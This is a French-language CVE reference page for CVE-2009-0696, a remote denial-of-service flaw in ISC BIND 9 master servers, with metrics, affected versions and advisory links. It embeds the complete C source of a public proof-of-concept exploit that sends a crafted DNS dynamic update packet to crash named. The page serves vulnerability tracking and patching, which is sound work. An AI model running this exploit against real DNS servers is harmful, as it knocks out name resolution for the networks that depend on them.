CVE-2009-0696 : Détail

CVE-2009-0696

A05-Security Misconfiguration
95.43%V3
Network
2009-07-29
15h00 +00:00
2018-10-10
16h57 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

The dns_db_findrdataset function in db.c in named in ISC BIND 9.4 before 9.4.3-P3, 9.5 before 9.5.1-P3, and 9.6 before 9.6.1-P1, when configured as a master server, allows remote attackers to cause a denial of service (assertion failure and daemon exit) via an ANY record in the prerequisite section of a crafted dynamic update message, as exploited in the wild in July 2009.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-16 Category : Configuration
Weaknesses in this category are typically introduced during the configuration of the software.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 4.3 AV:N/AC:M/Au:N/C:N/I:N/A:P [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 9300

Date de publication : 2009-07-29 22h00 +00:00
Auteur : kingcope
EDB Vérifié : Yes

/* ISC BIND 9 Remote Dynamic Update Message Denial of Service PoC "Based on: http://www.securityfocus.com/data/vulnerabilities/exploits/35848.txt by kingcope - this is basically a rewrite of the above, lame i know, but fun enough for the [zone] argument you can try what is in the named.conf with "type master" */ #include <sys/types.h> #include <sys/socket.h> #include <netdb.h> #include <netinet/in.h> #include <arpa/inet.h> #include <netdb.h> #include <stdio.h> #include <unistd.h> #include <string.h> #define PORT 31337 struct dnspkt1 { unsigned short transact; unsigned short flags; unsigned short zones; unsigned short pr; unsigned short updates; unsigned short rrs; }; struct dnspkt2 { unsigned short type; unsigned short class; unsigned short name2; unsigned short type2; unsigned short class2; unsigned short ttl1; unsigned short ttl2; unsigned short datalen; unsigned short name3; unsigned short type3; unsigned short class3; unsigned short ttl3; unsigned short ttl4; unsigned short datalen2; }; int packdomain(char * dest, const char *src) { int i,n,cnt; n=strlen(src); dest[n+1]=0; // terminator cnt=0; for (i=n; i>0; i--) { if (src[i-1]=='.') { dest[i]=cnt; cnt=0; } else { dest[i]=src[i-1]; cnt++; } } dest[0]=cnt; return n+2; } int main(int argc, char **argv) { int sockfd, clilen; struct sockaddr_in serv_addr, cli_addr; struct dnspkt1 d1; struct dnspkt2 d2; printf("ISC BIND 9 Remote Dynamic Update Message Denial of Service PoC\n"); printf("Based on:\n"); printf("http://www.securityfocus.com/data/vulnerabilities/exploits/35848.txt\n"); printf("by kingcope - this is basically a rewrite of the above, lame i know, but fun tough\n"); if (argc < 2) { printf("usage: %s <host> [zone]\n", argv[0]); return 0; } sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); if(sockfd < 0) { printf("error on socket() call"); return -1; } memset(&serv_addr, '\0', sizeof(serv_addr)); serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = INADDR_ANY; serv_addr.sin_port = htons(PORT); if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) { printf("error binding socket\n"); return -1; } memset(&cli_addr, '\0', sizeof(cli_addr)); cli_addr.sin_family = AF_INET; cli_addr.sin_addr.s_addr = inet_addr(argv[1]); cli_addr.sin_port = htons(53); memset(&d1, '\0', sizeof(d1)); memset(&d2, '\0', sizeof(d2)); d1.transact = htons(0x1cd6); d1.flags = htons(0x2800); d1.zones = htons(0x0001); d1.pr = htons(0x0001); d1.updates = htons(0x0001); d1.rrs = 0; char *name = (char*)malloc(8096); char nam[1024]; if (argc < 3) { /* Not sure if this is right to set as default, have no clue about dns proto It works for me.. */ strcpy(nam, "127.in-addr.arpa"); } else { strncpy(nam, argv[2], sizeof(nam)); nam[sizeof(nam)-1]=0; } int n=packdomain(name, (char*)nam); d2.type = htons(0x0006); d2.class = htons(0x0001); d2.name2 = htons(0xc00c); d2.type2 = htons(0x00ff); d2.class2 = htons(0x0001); d2.datalen = 0; d2.name3 = htons(0xc00c); d2.type3 = htons(0x00ff); d2.class3 = htons(0x00ff); d2.ttl1 = 0; d2.ttl2 = 0; d2.ttl3 = 0; d2.ttl4 = 0; d2.datalen2 = 0; char buffer[10000]; memcpy(buffer, &d1, sizeof(d1)); memcpy(buffer+sizeof(d1), name, n); memcpy(buffer+sizeof(d1)+n, &d2, sizeof(d2)); clilen=sizeof(cli_addr); sendto(sockfd, buffer, sizeof(d1)+sizeof(d2)+n, 0, (struct sockaddr *)&cli_addr, sizeof(cli_addr)); printf("aight!\n"); return 0; } // milw0rm.com [2009-07-30]

Products Mentioned

Configuraton 0

Isc>>Bind >> Version 9.4

Isc>>Bind >> Version 9.4.0

Isc>>Bind >> Version 9.4.0

Isc>>Bind >> Version 9.4.0

Isc>>Bind >> Version 9.4.0

Isc>>Bind >> Version 9.4.0

Isc>>Bind >> Version 9.4.0

Isc>>Bind >> Version 9.4.0

Isc>>Bind >> Version 9.4.0

Isc>>Bind >> Version 9.4.0

Isc>>Bind >> Version 9.4.0

Isc>>Bind >> Version 9.4.0

Isc>>Bind >> Version 9.4.0

Isc>>Bind >> Version 9.4.0

Isc>>Bind >> Version 9.4.1

Isc>>Bind >> Version 9.4.2

Isc>>Bind >> Version 9.4.2

Isc>>Bind >> Version 9.4.2

Isc>>Bind >> Version 9.4.3

Isc>>Bind >> Version 9.4.3

Isc>>Bind >> Version 9.4.3

Isc>>Bind >> Version 9.4.3

Isc>>Bind >> Version 9.4.3

Isc>>Bind >> Version 9.5

Isc>>Bind >> Version 9.5.0

Isc>>Bind >> Version 9.5.0

Isc>>Bind >> Version 9.5.0

Isc>>Bind >> Version 9.5.0

Isc>>Bind >> Version 9.5.0

Isc>>Bind >> Version 9.5.0

Isc>>Bind >> Version 9.5.0

Isc>>Bind >> Version 9.5.0

Isc>>Bind >> Version 9.5.0

Isc>>Bind >> Version 9.5.0

Isc>>Bind >> Version 9.5.0

Isc>>Bind >> Version 9.5.0

Isc>>Bind >> Version 9.5.0

Isc>>Bind >> Version 9.5.0

Isc>>Bind >> Version 9.5.0

Isc>>Bind >> Version 9.6

Isc>>Bind >> Version 9.6

Isc>>Bind >> Version 9.6

Isc>>Bind >> Version 9.6

Isc>>Bind >> Version 9.6

Isc>>Bind >> Version 9.6

Isc>>Bind >> Version 9.6

Isc>>Bind >> Version 9.6

Isc>>Bind >> Version 9.6

Isc>>Bind >> Version 9.6

Isc>>Bind >> Version 9.6

Isc>>Bind >> Version 9.6

Isc>>Bind >> Version 9.6

Isc>>Bind >> Version 9.6

Isc>>Bind >> Version 9.6

Isc>>Bind >> Version 9.6

Isc>>Bind >> Version 9.6

Isc>>Bind >> Version 9.6

Isc>>Bind >> Version 9.6.0

Isc>>Bind >> Version 9.6.0

Isc>>Bind >> Version 9.6.0

Isc>>Bind >> Version 9.6.0

Isc>>Bind >> Version 9.6.0

Isc>>Bind >> Version 9.6.0

Isc>>Bind >> Version 9.6.1

Isc>>Bind >> Version 9.6.1

Références

http://secunia.com/advisories/36035
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/36063
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.vupen.com/english/advisories/2009/2171
Tags : vdb-entry, x_refsource_VUPEN
http://secunia.com/advisories/36056
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/36038
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.kb.cert.org/vuls/id/725188
Tags : third-party-advisory, x_refsource_CERT-VN
http://secunia.com/advisories/37471
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/36050
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.openbsd.org/errata44.html#014_bind
Tags : vendor-advisory, x_refsource_OPENBSD
http://secunia.com/advisories/36192
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.vupen.com/english/advisories/2009/2088
Tags : vdb-entry, x_refsource_VUPEN
http://www.securitytracker.com/id?1022613
Tags : vdb-entry, x_refsource_SECTRACK
https://www.isc.org/node/474
Tags : x_refsource_CONFIRM
http://www.vupen.com/english/advisories/2009/2247
Tags : vdb-entry, x_refsource_VUPEN
http://secunia.com/advisories/39334
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.vupen.com/english/advisories/2009/2036
Tags : vdb-entry, x_refsource_VUPEN
http://secunia.com/advisories/36098
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.ubuntu.com/usn/usn-808-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://secunia.com/advisories/36086
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/36053
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.vupen.com/english/advisories/2009/3316
Tags : vdb-entry, x_refsource_VUPEN
http://sunsolve.sun.com/search/document.do?assetkey=1-26-264828-1
Tags : vendor-advisory, x_refsource_SUNALERT